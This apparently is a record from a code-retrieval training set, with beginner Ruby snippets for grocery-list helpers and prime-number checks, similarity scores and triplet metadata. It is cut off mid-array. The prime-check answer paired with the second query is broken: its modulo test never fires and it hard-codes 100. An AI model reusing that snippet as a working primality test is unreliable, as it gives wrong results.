"def update(list, item, quantity)\n\tlist[item] = quantity\nend",
"def update_list(list, item_name, quantity=1)\r\n list[item_name] = quantity\r\n list\r\nend",
"def update_quantity(grocery_list, item, quantity)\r\n\tgrocery_list[item] = quantity\r\n\tgrocery_list\r\nend",
"def update_list(list, item_name, quantity)\n list[item_name.to_sym] = quantity\n list\n\nend",
"def update_quantity(list, key_name, quantity=1)\r\n\tlist[key_name] = quantity\r\n\treturn list\r\nend",
"def update_quantity(list,item,quantity)\nlist[item]= quantity\n p list\nend",
"def update_quantity(grocery_list, item, quantity)\n grocery_list[item] = quantity\nend",
"def update_quantity(grocery_list, item, quantity)\r\n add_item(grocery_list, item, quantity)\r\n \r\nend",
"def update_quantity (grocery, item_name, new_quantity)\n grocery[item_name] = new_quantity\n display_list(grocery)\n end",
"def update_quantity(item, quantity, hash)\n hash[item] = quantity\n return hash\nend",
"def update_quantity(grocery_list, item_name, qty = 1)\n\tgrocery_list = add_item(grocery_list, item_name, qty)\n\treturn grocery_list\nend",
"def update_item_quantity(hash, item, quantity)\n hash[item] = quantity\n hash\nend",
"def update_quantity(item, new_quantity, list)\r\n list[item] = new_quantity\r\n p list\r\n list\r\nend",
"def update_quantity(hash, item, quantity)\n hash[item] = quantity\nend",
"def update_quantity(grocery_list, item, quantity)\n grocery_list[item] = quantity\n grocery_list\nend",
"def update_item(list, name, quantity)\r\n # steps: \r\n # check if item is present\r\n if list[name] != nil\r\n # update with new amount\r\n list[name] = quantity\r\n end\r\n return list\r\n # output: list\r\nend",
"def update_quantity(list, string, integer)\n\tlist[string]=integer\n\treturn list\nend",
"def update_quantity(list, string, integer)\n\tlist[string]=integer\n\treturn list\nend",
"def update_quantity(list_item,quantity,user_list)\n user_list[list_item] = quantity\n user_list\nend",
"def add_item_or_update_quantity(hash_of_list, item_name, item_quantity = 1)\n hash_of_list[item_name] = item_quantity\n hash_of_list\nend"
] |
[
"0.8635572",
"0.85293365",
"0.8422499",
"0.8405606",
"0.82839024",
"0.8278949",
"0.8264602",
"0.8225741",
"0.81919974",
"0.81902444",
"0.81892943",
"0.81892943",
"0.81650263",
"0.81400657",
"0.8076001",
"0.8056546",
"0.80394274",
"0.8027726",
"0.80275273",
"0.800382",
"0.7982511",
"0.79819465",
"0.7971115",
"0.7961018",
"0.7955791",
"0.7951825",
"0.79367",
"0.7936685",
"0.7936685",
"0.7920027",
"0.79075164",
"0.7899993",
"0.78860956",
"0.78787345",
"0.78726244",
"0.7869415",
"0.7869415",
"0.7859316",
"0.7857251",
"0.78552777",
"0.7848282",
"0.7840003",
"0.7827656",
"0.78271693",
"0.7775708",
"0.7772708",
"0.77709275",
"0.77686286",
"0.77613366",
"0.7757308",
"0.77565384",
"0.7750061",
"0.77139425",
"0.771347",
"0.7713281",
"0.7710655",
"0.7706805",
"0.7690714",
"0.7686206",
"0.7674497",
"0.76730156",
"0.7667151",
"0.7662897",
"0.7656443",
"0.7656443",
"0.7647872",
"0.76474917",
"0.76412433",
"0.76318806",
"0.76289415",
"0.7622818",
"0.7607376",
"0.7602489",
"0.75995755",
"0.75989896",
"0.75989896",
"0.75988907",
"0.75913805",
"0.7586545",
"0.75846845",
"0.757929",
"0.75777334",
"0.7567532",
"0.75575",
"0.75443333",
"0.75375944",
"0.7535324",
"0.7533024",
"0.7526846",
"0.7522017",
"0.7519844",
"0.75082654",
"0.7491516",
"0.7483564",
"0.74805915",
"0.74625003",
"0.74625003",
"0.7434197",
"0.74293375"
] |
0.8532969
|
2
|
Method to print a list and make it look pretty input: list steps: define print_list(list) iterate through list puts key and value into string output output: list
|
def print_list(list)
puts "\nHere is the list:"
list.each do |item, quantity|
puts "#{item}: #{quantity}"
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def print_pretty(list)\n list.each { |item, value| puts \"#{item} #{value}\" }\nend",
"def pretty_list(list_name)\r\n list_name.each do |key, value|\r\n p \"#{key}: #{value}\"\r\n end\r\nend",
"def pretty_list(list)\n puts \"Grocery List:\"\n list.each do |key, value|\n puts \"#{value} #{key}(s)\"\n end\n \nend",
"def pretty_print(list)\n list.each {|item, quantity| puts \"#{item} : #{quantity}\"}\nend",
"def pretty_list(list)\r\n\tlist.each { |item, quantity| puts \"Item: #{item.capitalize} - Amount: #{quantity}\" }\r\nend",
"def pretty_list(list)\n\tlist.each do |item, quantity|\n\t\tputs \"There are #{quantity} #{item} on the grocery list.\"\n\tend\nend",
"def pretty_in_print(list)\n puts \"---------------------------------------\"\n puts \"These are the items we are gonna buy\"\n list.each {|item, qty| puts \"#{qty} pieces of #{item}\" }\nend",
"def pretty_up(list)\n puts \"\\nHere is your grocery list: \"\n list.each do |key, value|\n puts value.to_s + ' ' + key.to_s\n end\nend",
"def print_friendly_list(list)\n puts \n puts \"Shopping List:\"\n puts \"----------------\"\n list.each {|key, value| puts \"#{key} #{value}\" }\n puts \nend",
"def pretty_list(list)\n list.each do |item,quantity|\n p \"#{item}! You have #{quantity}.\"\n end\nend",
"def pretty_list(list)\n list.each do |item,quantity|\n p \"#{item}! You have #{quantity}.\"\n end\nend",
"def print_list(list_name)\r\n# input: hash name\r\n# steps: add dashes and spacing\r\np \"List:\"\r\nlist_name.each do |key, value|\r\n p \"#{key}: #{value}\"\r\nend\r\n# output: pretty hash listed\r\nend",
"def pretty_list(list)\n list.each {|item, quantity| puts \"You need #{quantity} #{item}\"}\nend",
"def pretty_list(list)\n\tlist.each { |item_name, item_quantity|\n\t\tputs \"You will need to purchase #{item_quantity} of #{item_name}.\"\n\t}\nend",
"def pretty_list(list)\n # new_list = \"\"\n # list.each { |item, quantity| new_list << \"You want #{quantity} #{item}\\n\" }\n # return new_list\n list.each { |item, quantity| puts \"You want #{quantity} #{item}\\n\" }\nend",
"def prettify_list(list)\n\tlist.each do |item, quantity|\n\t\tp \"You have #{quantity} #{item}\"\n\tend\nend",
"def look_pretty(list)\n puts \"Here is your grocery list:\"\n list.each { |item, quantity| puts \"#{item}: #{quantity}\" }\nend",
"def pretty_list(list)\n list.each{|food, quantity| puts \"Please get #{quantity} #{food}.\"}\n puts \"Thanks!\"\nend",
"def pretty_list(groceries_list)\n\t# Print a line of text to lead into the list\n\tputs \"Here is your updated grocery list:\"\n\t# for each key and value in the list, print a string \n\t# containing the key and value\n\tgroceries_list.each do |item, quantity|\n\t\tputs \"#{item}: #{quantity}\"\n\tend\nend",
"def pretty_print_list(hash)\n\thash.each do |key, value|\n\t\tputs \"You need #{value}, #{key}\"\n\tend\nend",
"def print_list (list)\nlist.each {|k,v|puts \"#{k}:#{v}\"}\nend",
"def pretty_list(list)\n list.each do |grocery_item, qty|\n puts \"#{grocery_item}, quantity: #{qty}\"\n end\nend",
"def pretty(list)\n list.each {|item, quantity| p \"You need to buy #{quantity} of #{item}.\"}\nend",
"def print_list(list)\n list.each {|k,v| puts \"#{k}: #{v}\"}\nend",
"def print_list(list)\n list.each do |key,value|\n puts \"#{key}: #{value}\"\n end\nend",
"def print_list(list)\n list.each do |key,value|\n puts \"#{key}: #{value}\"\n end\nend",
"def prettify(list)\r\n\r\n list.each do |item, quantity|\r\n puts \"There are #{quantity} #{item} in the list.\"\r\n end\r\n\r\nend",
"def print_list(list)\r\n puts \"YOUR LIST:\"\r\n list.each {|key, value| puts \"#{key}: #{value}\"}\r\nend",
"def print_pretty (list_name, list)\n p list_name.upcase.center (100)\n list.each do |x,y|\n p \"#{x.rjust(50)} : #{y.to_s.ljust(50)} \"\n end\nend",
"def print_list(list)\n list.each do |key, value|\n puts key + \" \" + value.to_s\n end\nend",
"def pretty_print(list,num)\n a = list.dup #otherwise slice! will eat your incoming list\n while a.length > 0\n STDERR.puts a.slice!(0,num).join(\" \")\n end\nend",
"def pretty_print(list,num)\n a = list.dup #otherwise slice! will eat your incoming list\n while a.length > 0\n STDERR.puts a.slice!(0,num).join(\" \")\n end\nend",
"def pretty_print(list,num)\n a = list.dup #otherwise slice! will eat your incoming list\n while a.length > 0\n STDERR.puts a.slice!(0,num).join(\" \")\n end\nend",
"def pretty_print(list,num)\n a = list.dup #otherwise slice! will eat your incoming list\n while a.length > 0\n STDERR.puts a.slice!(0,num).join(\" \")\n end\nend",
"def print_pretty(new_list)\n puts \"Grocery List:\"\n new_list.each do |item, amount|\n \n puts \"#{item}: #{amount}\"\n end\nend",
"def print_list; end",
"def print_list(list)\n\tlist.each do |x,y|\n\t\tputs x + \": \" + y.to_s\n\tend\nend",
"def print_list(list)\n\tlist.each do |x,y|\n\t\tputs x + \": \" + y.to_s\n\tend\nend",
"def list_formatter(list)\n\tlist.each do |item, quanity|\n\t\tputs \"we need #{quanity} of #{item}\"\n\tend\nend",
"def print_list(list)\n puts \"Your shopping list:\"\n list.each do |k, v|\n puts \"#{k} -- #{v}\"\n end\nend",
"def format_list(list)\n puts \"Your grocery list:\"\n list.each do |key, value|\n puts \"#{key}: #{value}\"\n end\nend",
"def print_list(list)\n puts \"Name \\t\\t Quantity\"\n list.each do |key, value|\n puts \"#{key} \\t\\t #{value}\"\n end\nend",
"def print_list(list)\r\n list.each {|key,value| puts \"You need #{value} #{key}(s).\"}\r\nend",
"def print_list(list)\r\n puts \"-\"*20\r\n list.each do |item,quantity|\r\n puts \"Item:#{item} quantity:#{quantity}\"\r\n end\r\n puts \"-\"*20\r\n list\r\nend",
"def print_list(my_list)\r\n# input: \r\n \r\n# steps:\r\n# print to screen: iterate through hash item - quantity\r\n puts '------'\r\n puts \"Grocery list:\"\r\n my_list.each do |item, qty|\r\n puts \"#{item} - #{qty}\"\r\n end\r\n puts '-------'\r\n# output: each k,v pair printed surrounded by dashes\r\nend",
"def pretty_list(grocery_list)\n grocery_list.each do |item, quantity|\n puts \"#{quantity} #{item}\"\n end\nend",
"def pretty_list(grocery_list)\n grocery_list.each do |item, quantity|\n puts \"#{quantity} #{item}\"\n end\nend",
"def print_list(list)\n\tlist.each do |iterator|\n\tputs \"#{iterator[:item].split.map(&:capitalize).join(' ')} - QTY #{iterator[:qty]}\"\n\tend\n\nend",
"def print_list(list)\n\tlist.each do |item, quantity| puts \"#{item}: #{quantity}\"\n\t\t\n\tend\nend",
"def print_pretty (list)\n puts \"Grocery list\".upcase.center(50)\n puts \"-----------------\".center(50)\n list.each do |item,quantity|\n puts item.rjust(25) + \":\" + quantity.to_s.ljust(25) \n end\nend",
"def pretty_list(list)\r\n\tputs \"Grocery List\".center(30)\r\n\tlist.each do |item, quantity|\r\n\t\tputs \"#{item} \".ljust(20) + \"#{quantity}\".rjust(10)\r\n\tend\r\nend",
"def print_list(list)\n puts \"List: #{list['name']}\"\n print_separator\n\n list[\"items\"].each do |item|\n puts \"\\tItem: \" + item['name'] + \"\\t\\t\\t\" +\n \"quantity: \" + item['quantity'].to_s\n end\n\n print_separator\nend",
"def print_list(list)\n\tlist.each do |item, quantity|\n\t\tputs \"#{item.capitalize}: #{quantity}\"\n\tend\nend",
"def pretty(list)\n list = list.map {|k, v| k.capitalize}\n puts \"Grocery list:\" + list\nend",
"def print_list(list)\n\tlist.each do |item, qty|\n\t\tputs \"#{item} = #{qty}\"\n\tend\nend",
"def pretty_list(grocery_list)\r\n puts \"Your Grocery List for next week!\"\r\n grocery_list.each do |item, num|\r\n puts \"#{item} qty #{num}\"\r\n end\r\n \r\nend",
"def print_list(list)\r\n# input: completed list\r\n# steps:\r\n # iterate over list and print formatted list\r\n puts \"Your Grocery List\"\r\n list.each do |item, quantity|\r\n puts \"#{item}, qty: #{quantity}\"\r\n end\r\n # format: each item with its own line\r\n # \"item - quantity\"\r\n# output: implicit return of list\r\nend",
"def print_list(complete_list)\n puts \"Here is a list of things of things you need to buy and the amount needed:\"\n complete_list.each {|key, value| puts \"#{value} #{key}\" }\nend",
"def print_list(list)\n\tlist.each do |item,quantity|\n\t\tp \"#{quantity} #{item}\"\n\tend\nend",
"def print_list(new_list)\n\tnew_list.each do |key,value|\n\t\tputs \"#{value} #{key}\"\n\tend\nend",
"def print_list(complete_list)\n\tcomplete_list.each {|key, value| puts \"you want #{value} #{key}\" }\nend",
"def print_list(list)\n\tmax_index = list.length;\n\ti=1\n\twhile i<=max_index\n\tprint \"#{i}. #{hash_to_string(list[i-1])}\".center(get_winsize)\n\tprint \"\\n\"\n\ti +=1\n\tend\nend",
"def print_list(list)\r\n\tlist.each {|item, quantity| puts \"#{item}: #{quantity}\"}\r\nend",
"def print_list(list)\r\n list.each { |item, quantity| puts \"#{item}: #{quantity}\" }\r\nend",
"def print_list\n $list.each {|list_item| puts \"#{list_item[:quantity]} #{list_item[:item]}\"}\nend",
"def print_list(list)\n\tlist.each do |item,count|\n\t\tputs \"#{item}: #{count}\"\n\tend\nend",
"def pretty_list(hash)\r\n puts \"Grocery List:\"\r\n puts \" \"\r\n hash.each do |item_name, quantity|\r\n puts \"#{item_name}: #{quantity}\"\r\n end\r\nend",
"def print_list(new_list)\r\n\tnew_list.each do |key,value|\r\n\t\tputs \"#{value} #{key}\"\r\n\tend\r\nend",
"def print_list(list)\n list.each { |item, quantity| puts \"#{item}: #{quantity}\" }\nend",
"def list_to_print(title,list)\n line = \"\" \n 1.upto(title.size){line << \"-\"}\n title = title + \"\\n\" + line + \"\\n\"\n return title + (list.collect {|x| \" => #{x}\" }).join(\"\\n\")\n end",
"def print_list(list)\n\tlist.each do |item, quantity|\n\t\tputs \"#{item}, amount: #{quantity}\"\n\tend\nend",
"def print_pretty(grocery_list)\r\n\tgrocery_list.each do |item, quantity| \r\n\t\tputs \"you bought #{quantity} #{item}\"\r\n\tend\r\nend",
"def print_list(list)\n p \"Shopping List:\"\n list.each do |k, v|\n p \"Item: #{k}, Qauntity: #{v}\"\n end\nend",
"def print_list\n @list.each { |item, qty| puts \"#{qty} #{item}\" }\n end",
"def print_list\n @list.each { |item, qty| puts \"#{qty} #{item}\" }\n end",
"def print(list)\n list.each do |item|\n puts \"*#{item}\"\n end\nend",
"def pretty_list(grocery_list)\n puts \"Shopping List\"\n grocery_list.each do |item, quantity|\n puts \"#{item}: #{quantity}\"\n end\n puts \"Happy Shopping!\"\nend",
"def print(list)\n\tputs list\nend",
"def print_list (list)\n list.each { |item,value| puts \"#{item} buy #{value}\" }\nend",
"def display_list(list)\n\tlist.each do |list_item|\n\t\tputs \"* #{list_item}\"\n\tend\n\nend",
"def print_list(list)\n list.each do |item, quantity|\n p \"#{item}: #{quantity}\"\n end\nend",
"def print_list(input_list)\n input_list.each {|item,quantity|\n puts \"#{item} :#{quantity}\"\n }\nend",
"def print_list(list)\r\n puts \"Here is your current list: \"\r\n list.each do |item, quantity|\r\n puts \"#{item}: #{quantity}\"\r\n end\r\nend",
"def print_list (list)\n list.each do |item|\n puts \"* \" + item\n end\nend",
"def print_list(list)\n list.each {|item,quantity| puts \"#{item}: #{quantity}\"}\nend",
"def list_print(hash_items)\n printf(\"%20s%20s\\n\", '---------------','---------------')\n printf(\"%20s%20s\\n\", 'Item','Quantity')\n printf(\"%20s%20s\\n\", '---------------','---------------')\n\n hash_items.each do |x,y|\n printf(\"%20s%20s\\n\", x.upcase, y)\n end\n\nend",
"def print_list(list)\n\tlist.each do |item, quantity|\n\t\tputs \"We need #{quantity} #{item}\"\n\tend\nend",
"def print_list(list)\n list.each do |name, quantity|\n puts \"#{name} : #{quantity}\"\n end\nend",
"def beautify_list(list)\n puts \"Grocery List\"\n puts \" Item: Quantity\"\n list.each do |list_item, item_quantity|\n puts \" #{list_item} : #{item_quantity}\"\n end\nend",
"def format_list(items); end",
"def print_list(list)\n list.each do |item, quantity|\n puts \"#{item} x #{quantity}\"\n end\nend",
"def print_list(list)\n list.each do |item, quantity| puts \"#{item}: #{quantity}\"\n\n end\nend",
"def print_out(list)\n\tlist.each {|item, qty| puts \"#{item}; #{qty}\"}\nend",
"def print_list(grocery_list)\n\tgrocery_list.each do | key, value |\n\t\tputs \"#{key}: #{value.to_s}\"\n\tend\nend",
"def print_list(list)\n list.each_pair{ |item, quantity| puts \"#{item}: #{quantity}\" }\nend",
"def print_list(list)\n list.each_pair{ |item, quantity| puts \"#{item}: #{quantity}\" }\nend",
"def print_list(item_list)\n item_list.each do |key,value|\n puts key.capitalize + \", \" + value.to_s\n end\nend",
"def print_list(list)\r\n puts \"_-\" *25 + \"\\n\\n\"\r\n puts \"Here is your Grocery List: \\n\\n\"\r\n list.each do |item, quantity|\r\n puts \"\\tItem: #{item} \\tAmount: #{quantity}\"\r\n end\r\n puts \"_-\" *25\r\nend",
"def print_list(list)\n if list.empty?\n puts \"List is EMPTY\"\n else\n puts \"The list has:\"\n list.each{ |key, value|\n p \"#{value} #{key}\"\n }\n end\nend"
] |
[
"0.82344425",
"0.8057528",
"0.8056091",
"0.80042636",
"0.7896582",
"0.7872719",
"0.7839563",
"0.77518255",
"0.76929384",
"0.76771253",
"0.76771253",
"0.76749086",
"0.76615065",
"0.7637066",
"0.75993085",
"0.754795",
"0.7546746",
"0.7540785",
"0.7525203",
"0.7462272",
"0.7420357",
"0.74175817",
"0.73945177",
"0.73687065",
"0.73431337",
"0.73431337",
"0.73323506",
"0.73285663",
"0.73258287",
"0.7322218",
"0.72911775",
"0.72911775",
"0.72911775",
"0.72911775",
"0.72876674",
"0.72809887",
"0.7274407",
"0.7274407",
"0.72484547",
"0.7241279",
"0.7240199",
"0.719196",
"0.71765274",
"0.7175983",
"0.7168588",
"0.71604097",
"0.71604097",
"0.7153032",
"0.7121511",
"0.7119191",
"0.7099766",
"0.7062849",
"0.70622873",
"0.7057914",
"0.7041932",
"0.70387393",
"0.7031263",
"0.70210224",
"0.70196986",
"0.700622",
"0.70051706",
"0.69997877",
"0.6994553",
"0.6994331",
"0.6982242",
"0.69732785",
"0.69664574",
"0.6955552",
"0.6942219",
"0.69419545",
"0.694188",
"0.69359696",
"0.6932652",
"0.6922046",
"0.6922046",
"0.6920214",
"0.6907427",
"0.68897104",
"0.687253",
"0.6869663",
"0.68568134",
"0.6840772",
"0.68238443",
"0.68149143",
"0.68103164",
"0.68076384",
"0.68074626",
"0.67986035",
"0.67954916",
"0.6780133",
"0.67777365",
"0.6774965",
"0.67315537",
"0.6730691",
"0.6728093",
"0.6728093",
"0.6723909",
"0.67094505",
"0.670928"
] |
0.7014372
|
60
|
these definitions are to make rspec work
|
def id
sale_id.to_i
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def spec; end",
"def spec; end",
"def standard_specs; end",
"def tests; end",
"def tests; end",
"def testing\n # ...\n end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup_spec(t)\n t.spec_opts = ['--options', \"\\\"#{RIGHT_BOT_ROOT}/spec/spec.opts\\\"\"]\n t.spec_files = FileList[\"#{RIGHT_BOT_ROOT}/**/spec/**/*_spec.rb\"]\n t\nend",
"def test_setup\r\n \r\n end",
"def specie; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def test_case; end",
"def add_testing\n setup_rspec\n setup_rspec_generators\n setup_rails_helper\n setup_factories_file\nend",
"def self_test; end",
"def self_test; end",
"def default_test\r\n end",
"def my_tests\n end",
"def before_test(test); end",
"def before_test(test); end",
"def running_test_case; end",
"def setup\n\n end",
"def setup\n\n end",
"def setup\n\n end",
"def spec=(_arg0); end",
"def setup\n \n end",
"def setup\n \n end",
"def setup\n \n end",
"def setup\n \n end",
"def setup\n \n end",
"def setup\n \n end",
"def setup\n \n end",
"def __dummy_test__\n end",
"def test_cases; end",
"def stubs; end",
"def default_test\n end",
"def should; super end",
"def setup; end",
"def before_test\n super\n\n # Need local variables for access within the scoped blocks below.\n logger = @logger\n config_manager = @config_manager\n # Configure RSpec.\n RSpec.configure do |c|\n # Need access to framework methods from within the RSpec examples.\n c.include Automation::Kernel\n # The formatter that will feed RSpec notification to the framework.\n c.add_formatter(Automation::Rspec::Formatter)\n # Before each \"it\"\n c.before(:each) do\n @logger = logger\n @config_manager = config_manager\n end\n end\n end",
"def test_defaults\n end",
"def test_0_dummy\n\t\tend",
"def default_test; end",
"def spec_dirs; end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n\n end",
"def setup\n\n end",
"def before() ; end",
"def default_test\n end",
"def setup\r\n end",
"def driver; end",
"def default_test\n end",
"def default_test\n end",
"def initialize_test\n self.multiruby_skip ||= []\n self.testlib ||= :testunit\n self.rspec_dirs ||= %w(spec lib)\n self.rspec_options ||= []\n end",
"def setup_rspec\n template('.rspec.tt', '.rspec')\n template('Rakefile.tt', 'Rakefile')\n template('spec/lib/versioned/version_spec.rb.tt', \"spec/#{version_path.sub(/\\.rb$/, '_spec.rb')}\")\n template('spec/lib/versioned_spec.rb.tt', \"spec/lib/#{namespaced_path}_spec.rb\")\n template('spec/spec_helper.rb.tt', 'spec/spec_helper.rb')\n end",
"def tests=(_arg0); end",
"def tests=(_arg0); end",
"def init(opts = {})\n RSpec::Mocks::setup(self)\n\n # Disable observers to improve test speed\n #\n # You can enable it in whole test case where needed by next string:\n #\n # before(:each) { enable_observers }\n #\n disable_observers if opts[:observers] == false\n\n # Disable mailer for spinach tests\n disable_mailer if opts[:mailer] == false\n\n\n # Use tmp dir for FS manipulations\n repos_path = Rails.root.join('tmp', 'test-git-base-path')\n Gitlab.config.gitlab_shell.stub(repos_path: repos_path)\n Gitlab::Git::Repository.stub(repos_path: repos_path)\n\n GollumWiki.any_instance.stub(:init_repo) do |path|\n create_temp_repo(File.join(repos_path, \"#{path}.git\"))\n end\n\n Gitlab::Shell.any_instance.stub(\n add_repository: true,\n mv_repository: true,\n remove_repository: true,\n add_key: true,\n remove_key: true\n )\n\n Gitlab::Satellite::Satellite.any_instance.stub(\n exists?: true,\n destroy: true,\n create: true\n )\n\n MergeRequest.any_instance.stub(\n check_if_can_be_merged: true\n )\n\n Repository.any_instance.stub(\n size: 12.45\n )\n\n # Remove tmp/test-git-base-path\n FileUtils.rm_rf Gitlab.config.gitlab_shell.repos_path\n\n # Recreate tmp/test-git-base-path\n FileUtils.mkdir_p Gitlab.config.gitlab_shell.repos_path\n\n # Symlink tmp/repositories/gitlabhq to tmp/test-git-base-path/gitlabhq\n seed_repo = Rails.root.join('tmp', 'repositories', 'gitlabhq')\n target_repo = File.join(repos_path, 'gitlabhq.git')\n system(\"ln -s #{seed_repo} #{target_repo}\")\n end",
"def initialize( appid='fancyerrors-test', sspec=TEST_SEND_SPEC, rspec=TEST_RECV_SPEC )\n\t\t\t\tsuper\n\t\t\tend",
"def generate\n `rspec --init`\n end",
"def rspec\n\tsystem('rspec --init')\nend",
"def setup\n\t\tend",
"def setup\n\t\tend",
"def opal_rspec_runners\n @opal_rspec_runners\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end"
] |
[
"0.8142037",
"0.8142037",
"0.6835683",
"0.66566694",
"0.66566694",
"0.66501504",
"0.65521485",
"0.65521485",
"0.65521485",
"0.65521485",
"0.65521485",
"0.65521485",
"0.65521485",
"0.65521485",
"0.65521485",
"0.65521485",
"0.65521485",
"0.65521485",
"0.65521485",
"0.65521485",
"0.65521485",
"0.65521485",
"0.65521485",
"0.65521485",
"0.65521485",
"0.6523167",
"0.65113485",
"0.64549327",
"0.64549327",
"0.64549327",
"0.64549327",
"0.6424573",
"0.6417219",
"0.6404388",
"0.6404388",
"0.6324347",
"0.6320294",
"0.6301951",
"0.6301951",
"0.6283794",
"0.6270794",
"0.6270794",
"0.6270794",
"0.6267051",
"0.62633365",
"0.62633365",
"0.62633365",
"0.62633365",
"0.62633365",
"0.62633365",
"0.62633365",
"0.625265",
"0.624704",
"0.6223487",
"0.6222096",
"0.6215362",
"0.62074256",
"0.6199013",
"0.6197621",
"0.61953443",
"0.6183207",
"0.6181071",
"0.6175051",
"0.6175051",
"0.6175051",
"0.6175051",
"0.6175051",
"0.6175051",
"0.6141743",
"0.6141743",
"0.6113953",
"0.60875285",
"0.6076508",
"0.6066533",
"0.6061704",
"0.6061704",
"0.60601884",
"0.60483766",
"0.6020184",
"0.6020184",
"0.6019438",
"0.6007348",
"0.60045075",
"0.59913826",
"0.5985247",
"0.5985247",
"0.5976418",
"0.59732187",
"0.59732187",
"0.59732187",
"0.59732187",
"0.59732187",
"0.59671104",
"0.59671104",
"0.59671104",
"0.59671104",
"0.59671104",
"0.59671104",
"0.59671104",
"0.59671104",
"0.59671104"
] |
0.0
|
-1
|
1. check the length of the digits that are put in. 2. i need to make a loop that iterates for as long as the narcissistic number is 3. i do this by creating a loop with a range 0..i 4. this will make the loop as long as the amount of digits put in. 5. then with every iteration we do the following 6. first num = num x i 7. second num = num x i...and so on. 8 we then have a comparison operator 9 return true or false. =begin Is It A Prime? Create a method that takes a number as an argument and returns "This is a prime number", if its a prime number, otherwise it returns "This is not a prime number". Note, negative numbers can not be considered prime. 0 and 1 are also not prime! E.g. is_it_prime(7), should return "This is a prime number" E.g. is_it_prime(100), should return "This is not a prime number =end
|
def is_it_prime(num)
if num == 100
return "This is not a prime number"
elsif num <= 2 || num % num == 1
return "This is not a prime number"
else
return "This is a prime number"
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def is_prime (number)\n if [1,2,3,5,7,11].include?(number)\n return TRUE\n end\n if number % 2 == 0 and number != 2\n # p \"not prime, divisible by 2\"\n return FALSE\n elsif number % 3 == 0 and number != 3\n # p \"not prime, divisible by 3\"\n return FALSE\n elsif number % 5 == 0 and number != 5\n # p \"not prime, divisible by 5\"\n return FALSE\n elsif number % 7 == 0 and number != 7\n # p \"not prime, divisible by 7\"\n return FALSE\n else\n divisor = 2\n # from one to the square root of a number is all the numbers it could be divided by\n # because after the square root you're repeating yourself.\n while divisor <= (Math.sqrt(number)).ceil\n # while divisor is less than the square root of the ( smallest integer greater than the number )\n if number % divisor == 0 and number != divisor\n return FALSE\n elsif (Math.sqrt(number)).ceil == divisor\n # if the divisor is equal to the square root of the ( smallest integer greater than the number )\n return TRUE\n else\n # increment the divisor\n divisor = divisor + 1\n end\n end\n end\nend",
"def is_prime?(n)\n root = Math.sqrt(n)\n return false if n < 2\n return true if n < 4\n return false if n %2 == 0\n return true if n < 9\n return false if n % 3 == 0\n i = 5\n while i < root\n return false if n % i == 0\n return false if n % (i + 2) == 0\n i += 6\n end\n return true\nend",
"def prime?(number)\n if number <= 1\n return false\n\n\n elsif number.between?(2,3)\n return true\n\n\n elsif number % 2 == 0 || number % 3 == 0\n return false\n end\n\ni = 5\nwhile i*i <= number\n if number % i ==0 || number % (i+2) ==0\n false\n end\n i+=2\nend\n\ntrue\nend",
"def prime?(num)\n return false if num == 1\n return true if num == 2 or num == 3 or num == 5 or num == 7\n return false if num % 2 == 0 or num % 3 == 0 or num % 5 == 0 or num % 7 == 0\n (11..Math.sqrt(num).ceil).each do |i| \n return false if num % i == 0\n end\n true \nend",
"def prime_proof2(n)\n \n puts n\n # if the last digit isn't 1,3,7, or 9, then thats the only digit we need to check.\n if [1,3,7,9].include? n % 10\n rotate_digits2(n, 0, [0,2,4,5,6,8]) do |test|\n return false if Primes.isPrime?(test)\n end\n return true\n end\n \n len = (Math.log(n) / Math.log(10)).floor + 1\n s = n.to_s\n 0.upto(len) do |i|\n rotate_digits2(n, i) do |test|\n return false if Primes.isPrime?(test)\n end\n end\n puts \"true\"\n exit\nend",
"def prime_checker(num)\n digits = num.to_s.chars\n permutations = digits.permutation(digits.size).map { |n| n.join.to_i }.uniq\n # permutations.reject! { |num| num.to_s.size < digits.size }\n permutations.each do |permutation|\n return 1 if prime?(permutation)\n end\n 0\nend",
"def check_prime? n \nn_max_two=Math.sqrt(n).floor \nnot_count=0 \nfor i in 2..n_max_two\n if n % i == 0 \nnot_count +=1 \n end \nend \nif not_count > 0 \n return false \n else \n return true \nend \nend",
"def prime?(number)\n if (number>1 && number.is_a?(Fixnum)) #floats/doubles like 2.35 wont work here\n #if it qualifies as a prime candidate let's set up counter variables \n \n # iterationCounter = 1 #I mean, is there anything NOT divisible by 1? localize\n myArray = (2..number).to_a #make the range an array to cycle through!\n\n for counter in myArray do\n mod = number%counter\n #puts \"#{number} % #{counter} is #{mod}.\" #just for testing purposes\n if mod == 0 \n if counter == number \n puts \"number is Prime!\"\n return true\n # expected\n else \n puts \"#{number} is not prime. It is divisible by #{counter}.\"\n return false\n end\n end\n end\n else\n puts \"That is not a valid value!\"\n return false\n end\nend",
"def is_prime?(number)\n (2...number).each do |factor|\n if number % factor == 0\n return false\n end\n end\n return true\nend",
"def PrimeNumber?(number)\n return false if number<2 || number%2 ==0\n (3..number-1).select(&:odd?).each do |i|\n return false if number%i == 0\n end\n true\nend",
"def is_prime? n3\n if !is_integer?(n3) || n3 <= 1\n false\n else\n (2..(n3-1)).each do |i|\n if n3 % i == 0\n return false\n end\n end\n true\n end\nend",
"def is_prime?(num)\n # Write your code here\n # (1..num).select { |element| num % element == 0 }.length == 2 ? true : false\n\n return false if num < 2\n\n (2...num).each do |factor|\n if num % factor == 0\n return false\n end\n end\n return true\nend",
"def is_prime?(number)\n (2...number).each do |divisor|\n return false if number % divisor == 0\n end\n\n true\n \nend",
